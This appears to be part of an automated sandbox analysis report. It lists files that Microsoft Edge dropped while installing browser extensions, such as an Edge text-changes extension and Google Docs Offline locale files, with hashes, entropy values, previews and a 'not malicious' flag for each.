SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir7604_1087970802\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir7604_1087970802\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7604_1087970802\e184de20-023a-4b25-ac15-eb3fb9f57242.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir7604_708265191\318e3f0d-5d75-4df0-a159-0f924ace2909.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Local\Temp\scoped_dir7604_708265191\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir7604_708265191\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7604_708265191\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir7604_708265191\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir7604_708265191\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7604_708265191\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir7604_708265191\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir7604_708265191\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir7604_708265191\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7604_708265191\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7604_708265191\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7604_708265191\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7604_708265191\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
